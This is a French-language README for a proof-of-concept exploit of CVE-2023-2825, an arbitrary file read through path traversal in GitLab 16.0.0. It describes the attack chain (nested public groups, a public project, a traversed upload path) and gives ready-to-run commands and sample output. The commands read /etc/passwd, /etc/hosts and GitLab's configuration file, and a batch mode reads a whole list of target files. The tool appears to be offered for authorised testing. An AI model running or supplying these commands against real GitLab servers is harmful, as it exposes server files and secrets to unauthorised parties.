
PoC pour CVE-2023-2825 : lecture automatique de fichiers arbitraires sur GitLab 16.0.0 via des groupes publics imbriqués, traversée de téléchargement de projet, chemins de téléchargement réutilisables, et sortie CLI propre.
Preuve de concept pour CVE-2023-2825, une vulnérabilité de lecture arbitraire de fichier dans GitLab CE/EE 16.0.0.
Le script se connecte avec un compte GitLab valide, crée la structure de groupe public imbriqué requise, crée un projet public, télécharge une pièce jointe et utilise le comportement vulnérable de traversée de chemin du téléchargement pour lire un fichier cible depuis le serveur GitLab.
Il prend également en charge la réutilisation d'un chemin de téléchargement existant, afin que vous n'ayez pas à créer de nouveaux groupes et projets pour chaque lecture de fichier.
Python 3.8+
pip install -r requirements.txt
Paquets Python requis :
beautifulsoup4
requests
urllib3
Les valeurs entre chevrons sont des espaces réservés. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ou >.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # URL de base GitLab cible. Exemple : http://gitlab.local
<USERNAME> # Nom d'utilisateur GitLab valide.
<PASSWORD> # Mot de passe GitLab valide.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Exemple de sortie :
[2026-05-17T18:20:10Z] [*] Obtention du jeton CSRF
[2026-05-17T18:20:10Z] [+] Jeton CSRF trouvé
[2026-05-17T18:20:11Z] [*] Connexion en tant que alice
[2026-05-17T18:20:11Z] [+] Connexion réussie
[2026-05-17T18:20:12Z] [*] Création de 11 groupes publics imbriqués
[2026-05-17T18:20:18Z] [+] Groupe créé : A1B-11
[2026-05-17T18:20:19Z] [*] Création du projet public
[2026-05-17T18:20:20Z] [+] Chemin de téléchargement réutilisable : /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Lecture du fichier : /etc/hosts
[+] Contenu de /etc/hosts
127.0.0.1 localhost
Après une exécution réussie, le script affiche un chemin de téléchargement réutilisable :
Chemin de téléchargement réutilisable : /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Utilisez-le avec --reuse-path pour ignorer la connexion, la création de groupes, la création de projet et le téléchargement :
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Vous pouvez également passer une URL complète et omettre --url :
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Créez une liste de fichiers :
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Exécutez :
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Nombre de groupes publics imbriqués à créer. Par défaut : 11
--depth <N>
Nombre de segments de traversée à utiliser. Par défaut : 12
--reuse-path <PATH_OR_URL>
Chemin de téléchargement de projet existant. Ignore la configuration et lit directement les fichiers.
--only-final
Masquer les journaux de progression et afficher uniquement le contenu des fichiers.
--no-color
Désactiver les couleurs ANSI.
--debug
Afficher le chemin de traversée généré pour le dépannage.
--reuse-path autant que possible pour éviter de créer des groupes et projets inutiles.Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification des vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.